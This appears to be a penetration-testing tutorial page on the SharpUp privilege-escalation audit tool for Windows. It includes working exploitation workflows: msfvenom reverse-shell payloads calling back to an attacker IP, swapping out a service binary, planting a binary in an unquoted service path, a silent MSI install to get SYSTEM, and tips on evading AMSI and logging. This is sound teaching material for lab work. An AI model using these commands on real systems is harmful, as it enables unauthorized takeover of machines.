SharpUp

C# port of PowerUp's most dangerous checks. Finds exploitable service misconfigurations, unquoted service paths, modifiable scheduled tasks, AlwaysInstallElevated, and weak permissions, the classic Windows privilege escalation vectors.

Windows

LevelIntermediate. A C# equivalent of PowerUp, useful when PowerShell execution is restricted.

Know firstThe same privilege escalation concepts as PowerUp: modifiable services, unquoted paths, AlwaysInstallElevated.

You will learn torun SharpUp's audit, and act on an unquoted service path or a modifiable service binary.

What is it?

SharpUp is a C# tool from GhostPack that checks for common Windows privilege escalation vectors. It's a port of PowerUp's most useful checks into C#, which means it doesn't require PowerShell (avoiding AMSI and script block logging).

SharpUp focuses on actionable findings: it only reports things you can actually exploit. If it finds a modifiable service, that means you can replace its binary and escalate. If it finds an unquoted path, that means you can plant a binary in the gap.

What it checks:

Modifiable services: services where you can change the binary path
Modifiable service binaries: service executables you can overwrite
Unquoted service paths: paths with spaces that Windows resolves ambiguously
AlwaysInstallElevated: MSI packages install as SYSTEM
Modifiable scheduled tasks: tasks you can hijack
Modifiable registry autoruns: startup programs you can replace
Writable PATH directories: DLL search order hijacking opportunities

Run this first

One command runs every check.

cmd: your first audit

C:\> SharpUp.exe audit

audit runs the full set of checks and prints findings directly, without the AMSI concerns of loading a PowerShell script.

A modifiable service binary means you can replace the executable a privileged service runs. An unquoted service path with a space in it means Windows can be tricked into running a binary you planted earlier in the path.

When do you use it?

Use SharpUp when

You need to escalate to admin/SYSTEM on a Windows machine
PowerShell is restricted: SharpUp is a compiled C# exe, no PowerShell needed
AMSI is active: PowerUp gets caught by AMSI; SharpUp as a pre-compiled binary is harder to flag (though AV might still catch it)
winPEAS/Seatbelt showed potential leads: SharpUp gives you focused, actionable results on service/path misconfigs specifically
You want quick, focused results: SharpUp output is short and only shows exploitable findings, unlike the massive output of winPEAS

Key checks and what they mean

cmd: run all checks

# Run all privilege escalation checks
C:\> SharpUp.exe audit

# "audit" runs every check and reports actionable findings
# If there's no output for a category, nothing exploitable was found

output: example SharpUp results

=== SharpUp: Running Privilege Escalation Checks ===

=== Modifiable Services ===

  Name             : VulnSvc
  DisplayName      : Vulnerable Service
  Description      : Custom monitoring service
  State            : Running
  StartMode        : Auto
  PathName         : C:\Program Files\VulnApp\service.exe

=== Modifiable Service Binaries ===

  Name             : BackupSvc
  DisplayName      : Backup Service
  Description      :
  State            : Stopped
  StartMode        : Auto
  PathName         : C:\Services\backup\agent.exe

=== Unquoted Service Paths ===

  Name             : UpdateSvc
  DisplayName      : Auto Update Service
  PathName         : C:\Program Files\Update Service\updater.exe

=== AlwaysInstallElevated ===

  AlwaysInstallElevated is enabled!
  HKLM: 1
  HKCU: 1

=== Completed ===

Exploitation workflows

Modifiable service binary

If you can overwrite the service executable, replace it with a payload and restart the service. The service runs as SYSTEM.

cmd: service binary hijack

# 1. Generate a payload (on your attack box)
$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f exe -o agent.exe

# 2. Back up the original binary
C:\> copy C:\Services\backup\agent.exe C:\Services\backup\agent.exe.bak

# 3. Replace with your payload
C:\> copy \\tsclient\share\agent.exe C:\Services\backup\agent.exe

# 4. Restart the service (it runs as SYSTEM)
C:\> sc stop BackupSvc
C:\> sc start BackupSvc
# Catch the SYSTEM shell on your listener!

# 5. Restore the original after (clean up)
C:\> copy C:\Services\backup\agent.exe.bak C:\Services\backup\agent.exe

Unquoted service path

When a service path has spaces and isn't quoted, Windows tries multiple paths. You can plant a binary at one of the attempted paths.

cmd: unquoted path exploitation

# Unquoted path: C:\Program Files\Update Service\updater.exe
# Windows tries these in order:
#   1. C:\Program.exe
#   2. C:\Program Files\Update.exe        <-- if writable, plant here
#   3. C:\Program Files\Update Service\updater.exe

# Check if you can write to the parent directory
C:\> icacls "C:\Program Files\Update Service"
# Look for (M) or (W) for your user/group

# If writable, plant your payload as "Update.exe"
C:\> copy \\tsclient\share\payload.exe "C:\Program Files\Update.exe"

# Restart the service
C:\> sc stop UpdateSvc
C:\> sc start UpdateSvc

AlwaysInstallElevated

When both HKLM and HKCU keys are set to 1, any MSI package installs with SYSTEM privileges.

bash: AlwaysInstallElevated exploitation

# Generate a malicious MSI (on your attack box)
$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=4444 \
  -f msi -o evil.msi

# Transfer to target and install (runs as SYSTEM)
C:\> msiexec /quiet /qn /i C:\Users\jsmith\evil.msi

AlwaysInstallElevated is rare but devastating

Both HKLM and HKCU registry keys must be set to 1 for this to work. It's uncommon in well-managed environments but appears in CTF/lab scenarios. When present, it's the easiest path to SYSTEM, just install an MSI.

SharpUp vs PowerUp

Feature	SharpUp	PowerUp
Language	C# (compiled exe)	PowerShell script
AMSI risk	Lower (compiled binary)	Higher (PowerShell script, well-signatured)
Auto-exploit	No: detection only	Yes: `-Abuse` flag can exploit findings
Coverage	Core checks only	More checks (DLL hijacking, registry, etc.)
Dependencies	.NET Framework	PowerShell (with execution policy bypass)
Best for	Quick scan in hardened environments	Full scan + exploitation when PowerShell is available

Decision: SharpUp or PowerUp?

Use SharpUp when PowerShell is restricted, AMSI is active, or you want a quick check with minimal footprint. Use PowerUp when PowerShell is available and you want the ability to auto-exploit findings with the -Abuse flag. In many cases, run SharpUp first for the quick scan, then PowerUp if you need the exploitation capabilities.

Common mistakes

Things that go wrong

Not understanding the finding: SharpUp says "modifiable service": but can you actually restart it? Check with sc qc ServiceName and sc sdshow ServiceName
Forgetting to restore binaries: After exploiting a service binary hijack, replace the original binary. A broken service is suspicious and can cause operational issues
Assuming unquoted path = exploit: You still need write access to one of the attempted directories. Check with icacls before celebrating
Missing the .NET requirement: SharpUp needs .NET Framework. Most Windows machines have it, but very old or stripped-down servers might not. Check with dir C:\Windows\Microsoft.NET\Framework64\
Skipping stopped services: A stopped service with a modifiable binary is still exploitable, you just need permission to start it

Check yourself

Answer each question out loud or on paper first, then open it. Retrieving the answer teaches you more than rereading the page.

When would you reach for SharpUp instead of PowerUp?

When PowerShell execution is restricted or more heavily logged, since SharpUp runs as a compiled binary rather than a loaded script.

SharpUp flags a modifiable service binary. What is the actual attack?

Replace the service's executable with your own payload, then start or restart the service so it runs as whatever account the service uses.

What makes an unquoted service path exploitable?

Windows tries each space-separated segment of the path as a possible executable in order, so a binary you can plant earlier in that path gets run instead of the real one.

What does AlwaysInstallElevated let an attacker do if it is enabled?

Install an MSI package that runs with SYSTEM privileges, regardless of the current user's own rights.

SharpUp finds nothing useful. What is a reasonable next step?

Run Seatbelt or winPEAS as well, since each tool catches some things the others miss.

SharpUp

What is it?

Run this first

When do you use it?

Key checks and what they mean

Exploitation workflows

Modifiable service binary

Unquoted service path

AlwaysInstallElevated

SharpUp vs PowerUp

Common mistakes

Related tools

PowerUp

Seatbelt

winPEAS

Potato Attacks

Check yourself